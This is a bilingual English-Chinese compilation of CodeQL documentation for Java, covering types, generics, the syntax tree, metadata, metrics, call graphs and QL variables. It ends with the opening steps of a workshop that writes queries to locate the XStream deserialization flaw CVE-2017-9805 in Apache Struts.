4
5

import java

from TopLevelType tl
where tl.getName() != tl.getCompilationUnit().getName()
select tl

➤ See this in the query console on LGTM.com. This pattern is seen in many projects. When we ran it on the LGTM.com demo projects, most of the projects had at least one instance of this problem in the source code. There were many more instances in the files referenced by the source code.

➤ 在LGTM.com的查询控制台中可以看到。这种模式在很多项目中都能看到。当我们在LGTM.com演示项目上运行时，大多数项目的源代码中至少有一个这种问题的实例。在源代码引用的文件中，还有很多实例。

Several more specialized classes are available as well:

有几个更专业的类。

• TopLevelClass represents a class declared at the top-level of a compilation unit.

  TopLevelClass表示在编译单元的顶层声明的类。

• NestedClassrepresents a class declared inside another type , such as:

  NestedClass代表一个在另一个类型里面声明的类，如:

  • A LocalClass, which is a class declared inside a method or constructor.

    LocalClass是一个在方法或构造函数里面声明的类。

  • An AnonymousClass, which is an anonymous class.

    AnonymousClass是一个匿名类。

Finally, the library also has a number of singleton classes that wrap frequently used Java standard library classes: TypeObject, TypeCloneable, TypeRuntime, TypeSerializable, TypeString, TypeSystem and TypeClass. Each CodeQL class represents the standard Java class suggested by its name.

最后，该库还有一些单子类，这些单子类包裹了常用的Java标准库类。TypeObject、TypeCloneable、TypeRuntime、TypeSerializable、TypeString、TypeSystem和TypeClass。每一个CodeQL类都代表了其名称所建议的标准Java类。

As an example, we can write a query that finds all nested classes that directly extend Object:

作为一个例子，我们可以写一个查询，找到所有直接扩展Object的嵌套类:

1
2
3
4
5

import java

from NestedClass nc
where nc.getASupertype() instanceof TypeObject
select nc

➤ See this in the query console on LGTM.com. You’re likely to get many results when you run this query because many projects include nested classes that extend Object directly.

➤ 在LGTM.com的查询控制台中可以看到。运行此查询时，可能会得到许多结果，因为许多项目都包含直接扩展 Object 的嵌套类。

Generics

There are also several subclasses of Type for dealing with generic types.

Type还有几个子类用于处理通用类型。

A GenericType is either a GenericInterface or a GenericClass. It represents a generic type declaration such as interface java.util.Map from the Java standard library:

一个GenericType是一个GenericInterface或一个GenericClass。它代表一个通用类型声明，如Java标准库中的java.util.Map接口:

1
2
3
4
5
6
7

package java.util.;

public interface Map<K, V> {
    int size();

    // ...
}

Type parameters, such as K and V in this example, are represented by class TypeVariable.

类型参数，如本例中的K和V，由类TypeVariable表示。

A parameterized instance of a generic type provides a concrete type to instantiate the type parameter with, as in Map<String, File>. Such a type is represented by a ParameterizedType, which is distinct from the GenericType representing the generic type it was instantiated from. To go from a ParameterizedType to its corresponding GenericType, you can use predicate getSourceDeclaration.

一个通用类型的参数化实例提供了一个具体的类型来实例化类型参数，如Map<String, File>。这样的类型由ParameterizedType表示，它与代表它被实例化的通用类型的GenericType不同。要从一个ParameterizedType到它对应的GenericType，可以使用谓词getSourceDeclaration。

For instance, we could use the following query to find all parameterized instances of java.util.Map:

例如，我们可以使用下面的查询来查找 java.util.Map.的所有参数化实例:

1
2
3
4
5
6

import java

from GenericInterface map, ParameterizedType pt
where map.hasQualifiedName("java.util", "Map") and
    pt.getSourceDeclaration() = map
select pt

➤ See this in the query console on LGTM.com. None of the LGTM.com demo projects contain parameterized instances of java.util.Map in their source code, but they all have results in reference files.

➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 演示项目的源代码中都不包含 java.util.Map 的参数化实例，但它们在参考文件中都有结果。

In general, generic types may restrict which types a type parameter can be bound to. For instance, a type of maps from strings to numbers could be declared as follows:

一般来说，通用类型可能会限制类型参数可以绑定到哪些类型。例如，从字符串到数字的映射类型可以声明如下:

1
2
3

class StringToNumMap<N extends Number> implements Map<String, N> {
    // ...
}

This means that a parameterized instance of StringToNumberMap can only instantiate type parameter N with type Number or one of its subtypes but not, for example, with File. We say that N is a bounded type parameter, with Number as its upper bound. In QL, a type variable can be queried for its type bound using predicate getATypeBound. The type bounds themselves are represented by class TypeBound, which has a member predicate getType to retrieve the type the variable is bounded by.

这意味着StringToNumberMap的参数化实例只能用Number类型或它的一个子类型实例化类型参数N，而不能用例如File类型实例化类型参数N。我们说N是一个有界的类型参数，Number是它的上界。在QL中，可以使用谓词getATypeBound查询一个类型变量的类型边界。类型约束本身由类TypeBound表示，它有一个成员谓词getType来检索变量被约束的类型。

As an example, the following query finds all type variables with type bound Number:

作为一个例子，下面的查询可以找到所有类型绑定Number的类型变量:

1
2
3
4
5
6

import java

from TypeVariable tv, TypeBound tb
where tb = tv.getATypeBound() and
    tb.getType().hasQualifiedName("java.lang", "Number")
select tv

➤ See this in the query console on LGTM.com. When we ran it on the LGTM.com demo projects, the neo4j/neo4j, hibernate/hibernate-orm and apache/hadoop projects all contained examples of this pattern.

➤ 在LGTM.com的查询控制台中可以看到。当我们在LGTM.com的演示项目上运行时，neo4j/neo4j、hibernate/hibernate-orm和apache/hadoop项目都包含了这种模式的例子。

For dealing with legacy code that is unaware of generics, every generic type has a “raw” version without any type parameters. In the CodeQL libraries, raw types are represented using class RawType, which has the expected subclasses RawClass and RawInterface. Again, there is a predicate getSourceDeclaration for obtaining the corresponding generic type. As an example, we can find variables of (raw) type Map:

对于处理不了解泛型的遗留代码，每个泛型都有一个没有任何类型参数的 “原始 “版本。在CodeQL库中，原始类型用类RawType表示，它有预期的子类RawClass和RawInterface。同样，有一个谓词getSourceDeclaration用于获取相应的通用类型。作为一个例子，我们可以找到（原始）类型Map的变量:

1
2
3
4
5
6

import java

from Variable v, RawType rt
where rt = v.getType() and
    rt.getSourceDeclaration().hasQualifiedName("java.util", "Map")
select v

➤ See this in the query console on LGTM.com. Many projects have variables of raw type Map.

➤ 在LGTM.com的查询控制台中可以看到。许多项目都有原始类型Map的变量。

For example, in the following code snippet this query would find m1, but not m2:

例如，在下面的代码片段中，这个查询将找到 m1，但找不到 m2:

1
2

Map m1 = new HashMap();
Map<String, String> m2 = new HashMap<String, String>();

Finally, variables can be declared to be of a wildcard type:

最后，变量可以被声明为通配符类型:

1

Map<? extends Number, ? super Float> m;

The wildcards ? extends Number and ? super Float are represented by class WildcardTypeAccess. Like type parameters, wildcards may have type bounds. Unlike type parameters, wildcards can have upper bounds (as in ? extends Number), and also lower bounds (as in ? super Float). Class WildcardTypeAccess provides member predicates getUpperBound and getLowerBound to retrieve the upper and lower bounds, respectively.

通配符? extends Number和? super Float由类WildcardTypeAccess表示。和类型参数一样，通配符可以有类型边界。与类型参数不同的是，通配符可以有上界（如?extends Number），也可以有下界（如?super Float）。类WildcardTypeAccess提供了成员谓词getUpperBound和getLowerBound来分别检索上界和下界。

For dealing with generic methods, there are classes GenericMethod, ParameterizedMethod and RawMethod, which are entirely analogous to the like-named classes for representing generic types.

对于处理通用方法，有GenericMethod、ParameterizedMethod和RawMethod等类，它们完全类似于表示通用类型的同名类。

For more information on working with types, see the Types in Java.

有关使用类型的更多信息，请参阅Java中的类型。

Variables

Class Variable represents a variable in the Java sense, which is either a member field of a class (whether static or not), or a local variable, or a parameter. Consequently, there are three subclasses catering to these special cases:

类变量表示Java意义上的变量，它既可以是一个类的成员字段（不管是静态的还是非静态的），也可以是一个局部变量，或者是一个参数。因此，有三个子类迎合了这些特殊情况:

• Field represents a Java field. Field代表一个Java字段。
• LocalVariableDecl represents a local variable. LocalVariableDecl代表一个局部变量。
• Parameter represents a parameter of a method or constructor. Parameter代表一个方法或构造函数的参数。

Abstract syntax tree

Classes in this category represent abstract syntax tree (AST) nodes, that is, statements (class Stmt) and expressions (class Expr). For a full list of expression and statement types available in the standard QL library, see “Abstract syntax tree classes for working with Java programs.”

这一类的类代表抽象语法树（AST）节点，即语句（类Stmt）和表达式（类Expr）。关于标准QL库中可用的表达式和语句类型的完整列表，请参见 “用于处理Java程序的抽象语法树类”。

Both Expr and Stmt provide member predicates for exploring the abstract syntax tree of a program:

Expr和Stmt都提供了用于探索程序的抽象语法树的成员谓词。

• Expr.getAChildExpr returns a sub-expression of a given expression.

  Expr.getAChildExpr返回一个给定表达式的子表达式。

• Stmt.getAChild returns a statement or expression that is nested directly inside a given statement.

  Stmt.getAChild返回一个直接嵌套在给定语句中的语句或表达式。

• Expr.getParent and Stmt.getParent return the parent node of an AST node.

  Expr.getParent和Stmt.getParent返回一个AST节点的父节点。

For example, the following query finds all expressions whose parents are return statements:

例如，下面的查询可以找到所有父母是返回语句的表达式:

1
2
3
4
5

import java

from Expr e
where e.getParent() instanceof ReturnStmt
select e

➤ See this in the query console on LGTM.com. Many projects have examples of return statements with child expressions.

➤ 在LGTM.com的查询控制台中可以看到。很多项目都有返回语句与子表达式的例子。

Therefore, if the program contains a return statement return x + y;, this query will return x + y.

因此，如果程序中包含一个返回语句return x + y;，这个查询将返回x + y。

As another example, the following query finds statements whose parent is an if statement:

作为另一个例子，下面的查询可以找到父语句是if语句的语句:

1
2
3
4
5

import java

from Stmt s
where s.getParent() instanceof IfStmt
select s

➤ See this in the query console on LGTM.com. Many projects have examples of if statements with child statements.

➤ 在LGTM.com的查询控制台中可以看到。很多项目都有if语句与子语句的例子。

This query will find both then branches and else branches of all if statements in the program.

这个查询可以找到程序中所有if语句的then分支和 else分支。

Finally, here is a query that finds method bodies:

最后，这里是一个查找方法体的查询:

1
2
3
4
5

import java

from Stmt s
where s.getParent() instanceof Method
select s

➤ See this in the query console on LGTM.com. Most projects have many method bodies.

➤ 在LGTM.com的查询控制台中可以看到。大多数项目都有许多方法体。

As these examples show, the parent node of an expression is not always an expression: it may also be a statement, for example, an IfStmt. Similarly, the parent node of a statement is not always a statement: it may also be a method or a constructor. To capture this, the QL Java library provides two abstract class ExprParent and StmtParent, the former representing any node that may be the parent node of an expression, and the latter any node that may be the parent node of a statement.

正如这些示例所示，一个表达式的父节点并不总是一个表达式：它也可能是一个语句，例如，一个 IfStmt。同样，一个语句的父节点也不总是一个语句：它也可能是一个方法或构造函数。为了抓住这一点，QL Java库提供了两个抽象类ExprParent和StmtParent，前者代表任何可能是表达式的父节点，后者代表任何可能是语句的父节点。

For more information on working with AST classes, see the article on overflow-prone comparisons in Java.

有关使用AST类的更多信息，请参见 article on overflow-prone comparisons in Java.。

Metadata

Java programs have several kinds of metadata, in addition to the program code proper. In particular, there are annotations and Javadoc comments. Since this metadata is interesting both for enhancing code analysis and as an analysis subject in its own right, the QL library defines classes for accessing it.

Java程序除了程序代码本身外，还有几种元数据。特别是有注释和Javadoc注释。由于这些元数据对于增强代码分析和作为分析对象本身都很有趣，QL库定义了用于访问这些元数据的类。

For annotations, class Annotatable is a superclass of all program elements that can be annotated. This includes packages, reference types, fields, methods, constructors, and local variable declarations. For every such element, its predicate getAnAnnotation allows you to retrieve any annotations the element may have. For example, the following query finds all annotations on constructors:

对于注释，类Annotatable是所有可以注释的程序元素的超类。这包括包、引用类型、字段、方法、构造器和局部变量声明。对于每一个这样的元素，它的谓词getAnAnnotation允许你检索该元素可能拥有的任何注释。例如，下面的查询可以找到所有关于构造函数的注解:

1
2
3
4

import java

from Constructor c
select c.getAnAnnotation()

➤ See this in the query console on LGTM.com. The LGTM.com demo projects all use annotations, you can see examples where they are used to suppress warnings and mark code as deprecated.

➤ 在 LGTM.com 的查询控制台中可以看到。LGTM.com 演示项目都使用了注解，您可以看到使用注解来抑制警告和将代码标记为废弃的例子。

These annotations are represented by class Annotation. An annotation is simply an expression whose type is an AnnotationType. For example, you can amend this query so that it only reports deprecated constructors:

这些注解由类Annotation表示。注释是一个简单的表达式，其类型是AnnotationType。例如，你可以修改这个查询，使它只报告废弃的构造函数:

1
2
3
4
5
6
7

import java

from Constructor c, Annotation ann, AnnotationType anntp
where ann = c.getAnAnnotation() and
    anntp = ann.getType() and
    anntp.hasQualifiedName("java.lang", "Deprecated")
select ann

➤ See this in the query console on LGTM.com. Only constructors with the @Deprecated annotation are reported this time.

➤ 在LGTM.com的查询控制台中可以看到。这次只报告带有 @Deprecated 注解的构造函数。

For more information on working with annotations, see the article on annotations.

有关使用注解的更多信息，请参阅关于注解的文章。

For Javadoc, class Element has a member predicate getDoc that returns a delegate Documentable object, which can then be queried for its attached Javadoc comments. For example, the following query finds Javadoc comments on private fields:

对于Javadoc来说，类Element有一个成员谓词getDoc，它可以返回一个委派的Documentable对象，然后可以查询其附加的Javadoc注释。例如，下面的查询可以找到私有字段的Javadoc注释:

1
2
3
4
5
6

import java

from Field f, Javadoc jdoc
where f.isPrivate() and
    jdoc = f.getDoc().getJavadoc()
select jdoc

➤ See this in the query console on LGTM.com. You can see this pattern in many projects.

➤ 在LGTM.com的查询控制台中可以看到。在很多项目中都可以看到这种模式。

Class Javadoc represents an entire Javadoc comment as a tree of JavadocElement nodes, which can be traversed using member predicates getAChild and getParent. For instance, you could edit the query so that it finds all @author tags in Javadoc comments on private fields:

类 Javadoc 将整个 Javadoc 注释表示为 JavadocElement 节点的树，可以使用成员谓词 getAChild 和 getParent 遍历。例如，你可以编辑查询，使其找到私有字段的Javadoc注释中的所有@author标签:

1
2
3
4
5
6
7

import java

from Field f, Javadoc jdoc, AuthorTag at
where f.isPrivate() and
    jdoc = f.getDoc().getJavadoc() and
    at.getParent+() = jdoc
select at

➤ See this in the query console on LGTM.com. None of the LGTM.com demo projects uses the @author tag on private fields.

➤ 在 LGTM.com 的查询控制台中可以看到。LGTM.com 演示项目中没有一个在私有字段上使用 @author 标签。

Note

On line 5 we used getParent+ to capture tags that are nested at any depth within the Javadoc comment.

在第5行，我们使用getParent+来捕获Javadoc注释中任意深度嵌套的标签。

For more information on working with Javadoc, see the article on Javadoc.

关于使用 Javadoc 的更多信息，请看关于 Javadoc 的文章。

Metrics

The standard QL Java library provides extensive support for computing metrics on Java program elements. To avoid overburdening the classes representing those elements with too many member predicates related to metric computations, these predicates are made available on delegate classes instead.

标准QL Java库为Java程序元素的度量计算提供了广泛的支持。为了避免与度量计算相关的成员谓词过多而给代表这些元素的类造成过重的负担，这些谓词被放在委托类上。

Altogether, there are six such classes: MetricElement, MetricPackage, MetricRefType, MetricField, MetricCallable, and MetricStmt. The corresponding element classes each provide a member predicate getMetrics that can be used to obtain an instance of the delegate class, on which metric computations can then be performed.

一共有六个这样的类。MetricElement、MetricPackage、MetricRefType、MetricField、MetricCallable和MetricStmt。相应的元素类都提供了一个成员谓词getMetrics，可以用来获取委托类的实例，然后在这个实例上进行度量计算。

For example, the following query finds methods with a cyclomatic complexity greater than 40:

例如，下面的查询可以找到循环复杂度大于40的方法:

1
2
3
4
5
6

import java

from Method m, MetricCallable mc
where mc = m.getMetrics() and
    mc.getCyclomaticComplexity() > 40
select m

➤ See this in the query console on LGTM.com. Most large projects include some methods with a very high cyclomatic complexity. These methods are likely to be difficult to understand and test.

➤ 在LGTM.com的查询控制台中可以看到。大多数大型项目都包括一些具有非常高循环复杂性的方法。这些方法可能难以理解和测试。

Call graph

CodeQL databases generated from Java code bases include precomputed information about the program’s call graph, that is, which methods or constructors a given call may dispatch to at runtime.

由Java代码库生成的CodeQL数据库中包含了关于程序调用图的预计算信息，即一个给定的调用在运行时可能会派发给哪些方法或构造函数。

The class Callable, introduced above, includes both methods and constructors. Call expressions are abstracted using class Call, which includes method calls, new expressions, and explicit constructor calls using this or super.

上文介绍的类Callable既包括方法，也包括构造器。调用表达式是用类Call抽象出来的，它包括方法调用、新表达式和使用this或super的显式构造函数调用。

We can use predicate Call.getCallee to find out which method or constructor a specific call expression refers to. For example, the following query finds all calls to methods called println:

我们可以使用谓词Call.getCallee来查找一个特定的调用表达式指的是哪个方法或构造函数。例如，下面的查询可以找到所有调用println的方法:

1
2
3
4
5
6

import java

from Call c, Method m
where m = c.getCallee() and
    m.hasName("println")
select c

➤ See this in the query console on LGTM.com. The LGTM.com demo projects all include many calls to methods of this name.

➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 的演示项目都包含许多对这个名称的方法的调用。

Conversely, Callable.getAReference returns a Call that refers to it. So we can find methods and constructors that are never called using this query:

反之，Callable.getAReference返回一个引用它的Call。所以我们可以使用这个查询找到从未被调用的方法和构造函数:

1
2
3
4
5

import java

from Callable c
where not exists(c.getAReference())
select c

➤ See this in the query console on LGTM.com. The LGTM.com demo projects all appear to have many methods that are not called directly, but this is unlikely to be the whole story. To explore this area further, see “Navigating the call graph.”

➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 演示项目似乎都有许多方法没有被直接调用，但这不可能是全部。要进一步探索这个领域，请参见 “导航调用图”。

For more information about callables and calls, see the article on the call graph.

关于可调用和调用的更多信息，请参见关于调用图的文章。

Further reading

• CodeQL queries for Java

• Example queries for Java

• CodeQL library reference for Java

• “QL language reference”

• “CodeQL tools”

Variables in QL are used in a similar way to variables in algebra or logic. They represent sets of values, and those values are usually restricted by a formula.

在QL中，变量的使用方式与代数或逻辑中的变量类似。它们代表一组值，这些值通常受公式限制。

This is different from variables in some other programming languages, where variables represent memory locations that may contain data. That data can also change over time. For example, in QL, n = n + 1 is an equality formula that holds only if n is equal to n + 1 (so in fact it does not hold for any numeric value). In Java, n = n + 1 is not an equality, but an assignment that changes the value of n by adding 1 to the current value.

这与其他一些编程语言中的变量不同，在其他语言中，变量代表可能包含数据的内存位置。这些数据也可以随着时间的推移而改变。例如，在QL中，n = n + 1是一个平等公式，只有当n等于n + 1时才成立（所以事实上它对任何数值都不成立）。在Java中，n = n + 1不是一个等式，而是一个赋值，通过在当前值上加1来改变n的值。

Declaring a variable¶变量声明

All variable declarations consist of a type and a name for the variable. The name can be any identifier that starts with an uppercase or lowercase letter.

所有的变量声明都由变量的类型和名称组成，名称可以是任何大写或小写字母开头的标识符。名称可以是任何以大写或小写字母开头的标识符。

For example, int i, SsaDefinitionNode node, and LocalScopeVariable lsv declare variables i, node, and lsv with types int, SsaDefinitionNode, and LocalScopeVariable respectively.

例如，int i、SsaDefinitionNode node和LocalScopeVariable lsv分别声明类型为int、SsaDefinitionNode和LocalScopeVariable的变量i、node和lsv。

Variable declarations appear in different contexts, for example in a select clause, inside a quantified formula, as an argument of a predicate, and many more.

变量声明出现在不同的上下文中，例如在选择子句中，在量化公式中，作为谓词的一个参数，等等。

Conceptually, you can think of a variable as holding all the values that its type allows, subject to any further constraints.

从概念上讲，你可以把一个变量看作是持有其类型所允许的所有值，并受到任何进一步的约束。

For example, consider the following select clause:

1
2
3

from int i
where i in [0 .. 9]
select i

Just based on its type, the variable i could contain all integers. However, it is constrained by the formula i in [0 .. 9]. Consequently, the result of the select clause is the ten numbers between 0 and 9 inclusive.

仅仅根据其类型，变量i可以包含所有的整数。然而，它受到公式i在[0 … 9]中的限制。因此，选择子句的结果是0到9（含）之间的十个数字。

As an aside, note that the following query leads to a compile-time error:

1
2

from int i
select i

In theory, it would have infinitely many results, as the variable i is not constrained to a finite number of possible values. For more informaion, see “Binding.”

理论上，它将会有无限多的结果，因为变量i不受限于有限的可能值。更多信息，请参见 “绑定”。

Free and bound variables¶自由变量和约束变量

Variables can have different roles. Some variables are free, and their values directly affect the value of an expression that uses them, or whether a formula that uses them holds or not. Other variables, called bound variables, are restricted to specific sets of values.

变量可以有不同的作用。有些变量是自由的，它们的值直接影响使用它们的表达式的值，或者使用它们的公式是否成立。另一些变量，称为约束变量，被限制在特定的值集合中。

It might be easiest to understand this distinction in an example. Take a look at the following expressions:

在一个例子中可能最容易理解这种区别。来看看下面的表达式:

1
2
3
4
5
6
7

"hello".indexOf("l")

min(float f | f in [-3 .. 3])

(i + 7) * 3

x.sqrt()

The first expression doesn’t have any variables. It finds the (zero-based) indices of where "l" occurs in the string "hello", so it evaluates to 2 and 3.

第一个表达式没有任何变量。它找到了字符串 “hello “中 “l “出现的位置的（基于零的）指数，所以它的值是2和3。

The second expression evaluates to -3, the minimum value in the range [-3 .. 3]. Although this expression uses a variable f, it is just a placeholder or “dummy” variable, and you can’t assign any values to it. You could replace f with a different variable without changing the meaning of the expression. For example, min(float f | f in [-3 .. 3]) is always equal to min(float other | other in [-3 .. 3]). This is an example of a bound variable.

第二个表达式的值是-3，即[-3 … 3]范围内的最小值。虽然这个表达式使用了一个变量 f，但它只是一个占位符或 “虚 “变量，你不能给它分配任何值。你可以在不改变表达式含义的情况下，用不同的变量替换f。例如，min(float f | f in [-3 … 3])总是等于min(float other | other in [-3 … 3])。这就是一个约束变量的例子。

What about the expressions (i + 7) * 3 and x.sqrt()? In these two cases, the values of the expressions depend on what values are assigned to the variables i and x respectively. In other words, the value of the variable has an impact on the value of the expression. These are examples of free variables.

那么表达式(i + 7) * 3和x.sqrt()呢？在这两种情况下，表达式的值取决于分别分配给变量i和x的值。换句话说，变量的值对表达式的值有影响。这些都是自由变量的例子。

Similarly, if a formula contains free variables, then the formula can hold or not hold depending on the values assigned to those variables [1]. For example:

同样，如果一个公式中包含自由变量，那么这个公式可以成立或不成立，取决于分配给这些变量的值[1]。例如：

1
2
3
4
5
6
7

"hello".indexOf("l") = 1

min(float f | f in [-3 .. 3]) = -3

(i + 7) * 3 instanceof int

exists(float y | x.sqrt() = y)

The first formula doesn’t contain any variables, and it never holds (since "hello".indexOf("l") has values 2 and 3, never 1).

存在(float y | x.sqrt() = y)
第一个公式不包含任何变量，而且它永远不会成立（因为 “hello”.indexOf(“l”)的值是2和3，而不是1）。

The second formula only contains a bound variable, so is unaffected by changes to that variable. Since min(float f | f in [-3 .. 3]) is equal to -3, this formula always holds.

第二个公式只包含一个约束变量，所以不受该变量变化的影响。由于min(float f | f in [-3 … 3])等于-3，所以这个公式总是成立。

The third formula contains a free variable i. Whether or not the formula holds, depends on what values are assigned to i. For example, if i is assigned 1 or 2 (or any other int) then the formula holds. On the other hand, if i is assigned 3.5, then it doesn’t hold.

第三个公式包含一个自由变量i。公式是否成立，取决于分配给i的值。例如，如果i被分配给1或2（或任何其他int），那么公式成立。另一方面，如果给i赋值为3.5，那么公式就不成立。

The last formula contains a free variable x and a bound variable y. If x is assigned a non-negative number, then the final formula holds. On the other hand, if x is assigned -9 for example, then the formula doesn’t hold. The variable y doesn’t affect whether the formula holds or not.

最后一个公式包含一个自由变量x和一个约束变量y，如果x被赋值为非负数，那么最后的公式成立。另一方面，比如x被赋值为-9，那么这个公式就不成立。变量y并不影响公式是否成立。

For more information about how assignments to free variables are computed, see “evaluation of QL programs.”

关于如何计算对自由变量的赋值的更多信息，请参阅 “QL程序的评估”。

Footnotes

脚注

• Analyzed language: Java
• Difficulty level: 200

Overview

• Problem statement 问题描述
• Setup instructions 安装说明
• Documentation links 文件链接
• Workshop
  • Section 1: Finding XML deserialization
  • Section 2: Find the implementations of the toObject method from ContentTypeHandler
  • Section 3: Unsafe XML deserialization

Problem statement

Serialization is the process of converting in memory objects to text or binary output formats, usually for the purpose of sharing or saving program state. This serialized data can then be loaded back into memory at a future point through the process of deserialization.

序列化_是将内存中的对象转换为文本或二进制输出格式的过程，通常是为了共享或保存程序状态。这种序列化的数据可以在未来的某一时刻通过_解序列化_过程加载回内存。

In languages such as Java, Python and Ruby, deserialization provides the ability to restore not only primitive data, but also complex types such as library and user defined classes. This provides great power and flexibility, but introduces a signficant attack vector if the deserialization happens on untrusted user data without restriction.

在Java、Python和Ruby等语言中，反序列化不仅提供了还原原始数据的能力，还提供了还原库和用户定义类等复杂类型的能力。这提供了强大的功能和灵活性，但如果反序列化发生在无限制的不受信任的用户数据上，则引入了一个重要的攻击向量。

Apache Struts is a popular open-source MVC framework for creating web applications in Java. In 2017, a researcher from the predecessor of the GitHub Security Lab found CVE-2017-9805, an XML deserialization vulnerability in Apache Struts that would allow remote code execution.

Apache Struts是一个流行的开源MVC框架，用于用Java创建Web应用。2017年，GitHub安全实验室前身的研究人员发现CVE-2017-9805，Apache Struts中存在一个XML反序列化漏洞，将允许远程代码执行。

The problem occurred because included as part of the Apache Struts framework is the ability to accept requests in multiple different formats, or content types. It provides a pluggable system for supporting these content types through the ContentTypeHandler interface, which provides the following interface method:

问题发生的原因是，作为Apache Struts框架的一部分，包含了接受多种不同格式或_内容类型_的请求的能力。它通过ContentTypeHandler接口提供了一个可插拔的系统来支持这些内容类型，它提供了以下接口方法:

1
2
3
4
5
6
7

/**
 * Populates an object using data from the input stream
 * @param in The input stream, usually the body of the request
 * @param target The target, usually the action class
 * @throws IOException If unable to write to the output stream
 */
void toObject(Reader in, Object target) throws IOException;

New content type handlers are defined by implementing the interface and defining a toObject method which takes data in the specified content type (in the form of a Reader) and uses it to populate the Java object target, often via a deserialization routine. However, the in parameter is typically populated from the body of a request without sanitization or safety checks. This means it should be treated as “untrusted” user data, and only deserialized under certain safe conditions.

新的内容类型处理程序是通过实现接口和定义 “toObject “方法来定义的，该方法接受指定内容类型的数据（以 “Reader “的形式），并使用它来填充Java对象 “target”，通常是通过反序列化例程。然而，”in “参数通常是从请求的主体中填充的，没有经过净化或安全检查。这意味着它应该被视为 “不受信任 “的用户数据，只有在某些安全条件下才会被反序列化。

In this workshop, we will write a query to find CVE-2017-9805 in a database built from the known vulnerable version of Apache Struts.

在本工作坊中，我们将编写一个查询，在一个由已知的Apache Struts脆弱版本构建的数据库中找到CVE-2017-9805。

Setup instructions for Visual Studio Code

To take part in the workshop you will need to follow these steps to get the CodeQL development environment setup:

要参加研讨会，你需要按照以下步骤来设置CodeQL开发环境。

1. Install the Visual Studio Code IDE. 安装Visual Studio Code IDE。
2. Download and install the CodeQL extension for Visual Studio Code. Full setup instructions are here. 下载并安装Visual Studio Code的CodeQL扩展。完整的安装说明在这里
3. Set up the starter workspace.
   • Important: Don’t forget to git clone --recursive or git submodule update --init --remote, so that you obtain the standard query libraries.
4. Open the starter workspace: File > Open Workspace > Browse to vscode-codeql-starter/vscode-codeql-starter.code-workspace.
5. Download and unzip the apache_struts_cve_2017_9805.zip database.
6. Choose this database in CodeQL (using Ctrl + Shift + P to open the command palette, then selecting “CodeQL: Choose Database”).
7. Create a new file in the codeql-custom-queries-java directory called UnsafeDeserialization.ql.

Documentation links

If you get stuck, try searching our documentation and blog posts for help and ideas. Below are a few links to help you get started:

如果你被卡住了，请尝试搜索我们的文档和博客文章以获得帮助和想法。以下是一些帮助你入门的链接:

• Learning CodeQL
• Learning CodeQL for Java
• Using the CodeQL extension for VS Code

Workshop

The workshop is split into several steps. You can write one query per step, or work with a single query that you refine at each step. Each step has a hint that describes useful classes and predicates in the CodeQL standard libraries for Java. You can explore these in your IDE using the autocomplete suggestions (Ctrl + Space) and the jump-to-definition command (F12).

该研讨会分为几个步骤。你可以在每个步骤中编写一个查询，或者在每个步骤中完善一个查询。每个步骤都有一个提示，描述了Java的CodeQL标准库中有用的类和谓词。你可以在IDE中使用自动完成建议(Ctrl + Space)和跳转到定义命令(F12)来探索这些。

Section 1: Finding XML deserialization

XStream is a Java framework for serializing Java objects to XML used by Apache Struts. It provides a method XStream.fromXML for deserializing XML to a Java object. By default, the input is not validated in any way, and is vulnerable to remote code execution exploits. In this section, we will identify calls to fromXML in the codebase.

XStream是一个Java框架，用于将Java对象序列化为Apache Struts使用的XML。它提供了一个方法XStream.fromXML，用于将XML反序列化为一个Java对象。默认情况下，输入的内容不会以任何方式进行验证，并且容易受到远程代码执行的攻击。在本节中，我们将识别代码库中对fromXML的调用。

1. Find all method calls in the program.

   1. 查找程序中的所有方法调用。

   Hint

   • A method call is represented by the MethodAccess type in the CodeQL Java library.

   在CodeQL Java库中，方法调用由MethodAccess类型表示。

   Solution

   1 2 3 4

   import java from MethodAccess call select call

![image-20210329212430433](https://gitee.com/samny/images/raw/master/51u24er51ec/51u24er51ec.png)![image-20210329212439289](https://gitee.com/samny/images/raw/master/29u40er29ec/29u40er29ec.png)</details>

1. Update your query to report the method being called by each method call.

   更新你的查询，报告每个方法调用的方法。

   Hints

   • Add a CodeQL variable called method with type Method.

     添加一个名为 “method “的CodeQL变量，类型为 “Method”。

   • MethodAccess has a predicate called getMethod() for returning the method.

     MethodAccess有一个叫做getMethod()的谓词用于返回方法。

   • Add a where clause.

     添加一个where子句。

   Solution

   1 2 3 4

   import java from MethodAccess call, Method method where call.getMethod() = method select call, method

   
   

​    

1. Find all calls in the program to methods called fromXML.

   找出程式中所有调用fromXML的方法。

   Hint

   • Method.getName() returns a string representing the name of the method.

     Method.getName()返回一个代表方法名称的字符串。

   Solution

   1 2 3 4 5 6 7

   import java from MethodAccess fromXML, Method method where fromXML.getMethod() = method and method.getName() = "fromXML" select fromXML

   

   

   However, as we now want to report only the call itself, we can inline the temporary method variable like so:

   然而，由于我们现在只想报告调用本身，我们可以像这样内联临时method变量。

   1 2 3 4 5

   import java from MethodAccess fromXML where fromXML.getMethod().getName() = "fromXML" select fromXML

2. The XStream.fromXML method deserializes the first argument (i.e. the argument at index 0). Update your query to report the deserialized argument.

   XStream.fromXML方法反序列化第一个参数（即索引0的参数）。更新你的查询以报告反序列化的参数。

   Hint

   • MethodCall.getArgument(int i) returns the argument at the i-th index.

     MethodCall.getArgument(int i)返回第i个索引的参数。

   • The arguments are expressions in the program, represented by the CodeQL class Expr. Introduce a new variable to hold the argument expression.

     参数是程序中的_表达式，由CodeQL类Expr表示。引入一个新的变量来存放参数表达式。

   Solution

   1 2 3 4 5 6 7

   import java from MethodAccess fromXML, Expr arg where fromXML.getMethod().getName() = "fromXML" and arg = fromXML.getArgument(0) select fromXML, arg

   

   

   

</details>

1. Recall that predicates allow you to encapsulate logical conditions in a reusable format. Convert your previous query to a predicate which identifies the set of expressions in the program which are deserialized directly by fromXML. You can use the following template:

   回顾一下，_predicate_允许你以可重复使用的格式封装逻辑条件。将你之前的查询转换为一个谓词，该谓词标识了程序中直接由fromXML反序列化的表达式集。你可以使用下面的模板:

   1 2 3 4 5

   predicate isXMLDeserialized(Expr arg) { exists(MethodAccess fromXML | // TODO fill me in ) }

   exists is a mechanism for introducing temporary variables with a restricted scope. You can think of them as their own from-where-select. In this case, we use it to introduce the fromXML temporary variable, with type MethodAccess.

   exists是一种引入范围有限的临时变量的机制。你可以把它们看作是自己的from-where-select。在本例中，我们使用它来引入类型为 “MethodAccess “的 “fromXML “临时变量。

   Hint

